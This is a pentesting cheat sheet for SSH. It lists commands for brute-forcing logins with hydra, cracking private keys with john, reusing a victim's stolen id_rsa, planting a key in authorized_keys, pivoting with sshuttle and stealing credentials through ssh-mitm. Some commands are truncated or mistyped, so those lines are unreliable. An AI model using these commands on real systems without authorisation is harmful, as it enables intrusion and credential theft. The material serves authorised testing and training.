SSH (Secure Shell) Pentesting

Last modified: 2023-07-19

Cryptography Network Privilege Escalation

SSH is a cryptographic network protocol for operating network services securely over an unsecured network. A default port is 22.


nmap --script ssh-brute -p 22 <target-ip>
nmap --script ssh-auth-methods --script-args="ssh.user=username" -p 22 <target-ip>
nmap --script ssh-* -p 22 <target-ip>

# User enumeration
msf> use auxiliary/scanner/ssh/ssh_enumusers

Brute Force Credentials

# -t: tasks
hydra -l username -P passwords.txt <target-ip> ssh -t 4
hydra -L usernames.txt -p password <target-ip> ssh -t 4

# Specific ports
hydra -l username -P passwords.txt -s 2222 <target-ip> ssh -t 4
hydra -l username -P passwords.txt ssh://<target-ip>:2222 -t 4

If the target host opens port 80 or 443, you can generate wordlist from the contents of the website then use Hydra.

cewl http://<target-ip> > wordlist.txt

Crack SSH Private Key

First of all, you need to format the private key to make John to recognize it.

ssh2john private_key.txt > hash.txt
# or
python2 /usr/share/john/ private_key.txt > hash.txt

Crack the password of the private key using the formatted text.

john --wordlist=wordlist.txt hash.txt


nc <target-ip> 22

Also, ssh-audit is an useful tool for SSH server and client auditing.

ssh-audit <target-ip>


If you know a target credential, you can connect a remote server over SSH using the credential.

ssh username@<target-ip>
ssh username@<target-ip> -p 22

# Using private key
ssh -i id_rsa username@<target-ip>

# Without username

Additional Options

If we got the error message "no matching host key type found. Their offer: ssh-rsa...", add the following flag.

ssh -o HostKeyAlgorithms=+ssh-rsa user@

If we got error "no matching key exchange method found. Their offer: diffie-hellman-...", add the "KexAlgorithms" flag as below.

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 user@

Execute Commands after Connecting

ssh username@<target-ip> 'ls -l'

Test Connection

ssh -T username@
ssh -T username@ -vvv

Connect to Windows via Active Directory

ssh domain-name\\username@domain-controller

Connect using an Existing Private Key

  1. Copy the Content of id_rsa (Private Key)

    In remote machine,

    cat /home/<victim-user>/.ssh/id_rsa
  2. Create New Private Key in Local Machine

    echo 'copied content of id_rsa' > private_key.txt

    Don't forget to change permission this file. Otherwise, you cannot connect remote server.

    chmod 600 private_key.txt
  3. Connect using Private Key

    ssh -i private_key.txt victim-user@<remote-ip>

    If the error “error in libcrypto” occured, edit the format of the RSA private key.
    The correct format is below:

    -----END RSA PRIVATE KEY-----

Transfer Files From Remote to Local → Transfer Files

Send a File/Directory to Another Machine

# Send a file
scp ./example.txt user@<ip>:./example.txt

# Send a directory
scp -r ./example user@<ip>:/home/<ip>/

Download a File/Directory from Another Machine

# Download a file
scp user@<ip>:/home/<user>/path/to/file.txt .

# Download a directory
scp -r user@<ip>:/home/<user>/path/to/file.txt .

If you get error “connection refused”, the SSH server is not running in another machine. So you need to start the SSH server.

Create SSH Keys

Generate Keys


# Specify the output file
ssh-keygen -f key
# Specify Ed25519
ssy-keygen -t ed25519

Install SSH Key

In target machine,

ssh-copy-id username@<target-ip>

Generate SSH Keys and Set Up Public Key to Connect Remote Machine

1. Check if authorized_keys Exists in Remote Machine

ls /home/<remote-user>/.ssh/authorized_keys

If it exists, you may be able to connect SSH with your keys as victim user.

2. Generate SSH Keys in Local Machine

ssh-keygen -f key

# Copy the content of publick key
cat ./

Then copy the content of public key you generated.

3. Add the Content of Publick Key to authorized_keys

In remote machine,

echo '<content of' >> /home/<victim-user>/.ssh/authorized_keys

SSH Server


  • Start

    sudo systemctl start ssh
  • Stop

    sudo systemctl stop ssh
  • Restart

    sudo systemctl restart ssh


sudo systemctl status ssh

ps -e | grep ssh


vim /etc/ssh/sshd_config

Check for any Established Connection

To get the “pts/# terminal”, run the following command. The pts stands for pseudo terminal slave.

who | grep <username>

To kill any connections, run the following commands.

# -f: full process name to match
sudo pkill -f pts/#


# Authentication logs
grep 'sshd' /var/log/auth.log

SSH Proxy Server


sshuttle is transparent proxy server that works as a poor man's VPN. Forwards over ssh.

sshuttle -r username@<remote-ip> <remote-ip>/24

# Automatically determine subnet
sshuttle -r username@<remote-ip> -N

# Using private key
sshuttle -r username@<remote-ip> --ssh-cmd "ssh -i private_key" <remote-ip>/24

# Exclude the specific ip (-x)
sshuttle -r username@<remote-ip> <remote-ip>/24 -x <remote-ip>

Then you can access to other networks.

  • Troubleshooting

    If you get the error "Failed to flush caches: Unit dbus-org.freedesktop.resolve1.service not found...", you need to flush DNS cache.

    sudo systemctl enable systemd-resolved.service
    sudo resolvectl flush-caches

    Run sshuttle again.

SSH-MITM for Stealing Credentials

If the target system user try to connect arbitrary host using SSH, we might be able to steal credentials by listening via the SSH man-in-the-middle server.
Run the following command in local machine.

# If not have the ssh-mitm, install first.
pip3 install ssh-mitm --upgrade

# --enable-trivial-auth: The "trivial authentication" phishing attack
# --remote-host: Specify the target ip/domain
# --listen-port: Specify the ip address to listen in local machine
ssh-mitm server --enable-trivial-auth --remote-host --listen-port 2222